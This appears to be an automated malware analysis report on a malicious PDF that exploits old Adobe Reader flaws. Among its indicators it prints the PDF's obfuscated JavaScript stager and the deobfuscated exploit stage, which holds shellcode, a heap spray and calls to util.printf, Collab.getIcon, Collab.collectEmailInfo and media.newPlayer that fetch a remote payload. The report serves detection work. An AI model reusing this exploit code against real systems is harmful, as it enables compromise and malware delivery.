Malicious PDF — malware analysis report

Static analysis result for SHA-256 ff1894077458c5a5…

MALICIOUS

PDF

4.8 KB Created: 2010-07-13 09:45:18 Authoring application: Jnofologere (via 6e77eXoydjidakepo) First seen: 2026-05-11
MD5: a9ecb801a83c77f44dbc2d6d703c5242 SHA-1: 5f9e5742461fdf37d123ad5bc9fa863a47e29927 SHA-256: ff1894077458c5a5c7c9f345f51ec09340f1f5a90c1c0328151ae18af76a3519
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_PAGE_WORD_XOR_EVAL_STAGER heuristic suggests that this JavaScript is used as a stager to launch further malicious activity. While the exact payload is not fully discernible due to obfuscation and truncation, the presence of JavaScript execution points to a downloader or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudt.egh/4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0xE3B 527 bytes
SHA-256: dba09ba17420b122409066030bac69ae330d1722d8368710f8ec9ff6417501ce
Preview script
First 1,000 lines of the extracted script
try {var uH=app;var nAJ='FunctionR'.replace(/[R]/g, '');hUL='var  zG = 132w ;var  aR = th@is;v@ar vW=aR.getwPageNumWordwws(wthis.p@ageNum@);v@wa@wr mL=wF\'\';Fwfw@or(@FvwFar fI=0;fIw< vW;@F fI+@+){mL=[mwL, a@RFw.getPageNthWord(awFR.pageNFFumw,fI,true)].jo@win(Fw\'\');;}var yD=\'F\';for(var fFwI=0;fFwI @< mL.length; fI@@+=2){wwzEN=mL.substr(fI,ww2);yD=F[yD,StFring.fromwFCharwCodew(parseInt(zF@EN,1w6)^zG)]ww.join(\'\');}eFvaFlw@(ywDF@);yDw=null;'.replace(/[wF@]/g, '');vWV=hM(uT);} catch(tOJ){var rCF=uH.doc[nAJ](hUL);rCF();}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3796 bytes
SHA-256: 77b51a994122eb055b0842111beade4143806ff8783ac31662d2edcff3f69199
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.h=17256;this.h-=78;var b={pG:false};cX={j:18036};var hU=["t","x"];var lA='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var z=23384;var bE=new String();var mD=this.info['l'].replace(/[\s]/g, '');this.pE="pE";var xK=false;var xC=["uX"];var zE=new Date();var tO = this.info;var sJ = (tO.producer.substr(0,5) == 'debug');var hG = new Array(); var eZK = "%u";function wN(str){str = str.split(eZK);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function hQ(str1, str2){return [str1, str2].join("");}function qF(lAR){var bI = cH();var lSF = nA();bI += ((bI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + lSF;if(sJ) app.alert("URL: " + bI);bI=oF(bI);var d=eZK;var zEN=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";zEN+=bI;return wN(zEN);};function cH(){var tG = (tO.author + tO.title).replace(/[\s]/g, '');var cZM = sF(tG, mD, lA);return cZM;};function sF(tG, lA, mD){var cZM="";for(var i=0; i < tG.length; i++){var bU = lA.indexOf(tG[i]);if(bU > -1 ){cZM += mD[bU];}}return cZM;};function oF(tG){var out = "";tG = yX(tG);g = Math.round(tG.length / 4);if (g != tG.length /4) tG+="00";for(var i=0; i < tG.length; i+=4){out+= eZK + tG.substr(i+2, 2) + tG.substr(i, 2);}return out;};function yX(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function pU(mZU, len){while (mZU.length * 2 < len){mZU = hQ(mZU, mZU);}return mZU.substring(0, len / 2);};function gD(vC){var yT = 0x0c0c0c0c;        lK = qF("pdf");if (vC == 1){yT = 0x30303030;}var wV = 0x400000;var ln = lK.length * 2;var tGL = wV - (ln + 0x38);var mZU = wN(eZK+"9090"+eZK+"9090"); mZU = pU(mZU, tGL);var xS = (yT - 0x400000) / wV;for (var eJ = 0; eJ < xS; eJ ++ ){hG[eJ] = hQ(mZU, lK);}};function nA(){try {return app.viewerVersion.toString();}catch(rCX){    return 0;}}if(sJ) app.alert("called exploit");var lSF = nA();if(sJ)  app.alert("v: " + lSF);if (lSF > 8){if(sJ) app.alert("util.printf");gD(1);var fK = "12999999999999999999";for (cT=0; cT < 276; cT++) fK += "8";util.printf("%45000f", fK);}if (lSF < 8){if(sJ) app.alert("Collab.collectEmailInfo");gD(0);var xQ = wN(eZK+"0c0c"+eZK+"0c0c");while (xQ.length < 44952) xQ += xQ;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : xQ});}if (lSF < 9.1){if (app.doc.Collab.getIcon){if(sJ) app.alert("Collab.getIcon");gD(0);var qT = unescape("%09");while (qT.length < 0x4000) qT += qT;qT = "N." + qT;app.doc.Collab.getIcon(qT);}}if (lSF == 9.2){if(sJ) app.alert("media.newPlayer");gD(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var uN="";for(var wL=0; wL <824; wL++){var vM='mZ'};rE=["xCN"];var dM="";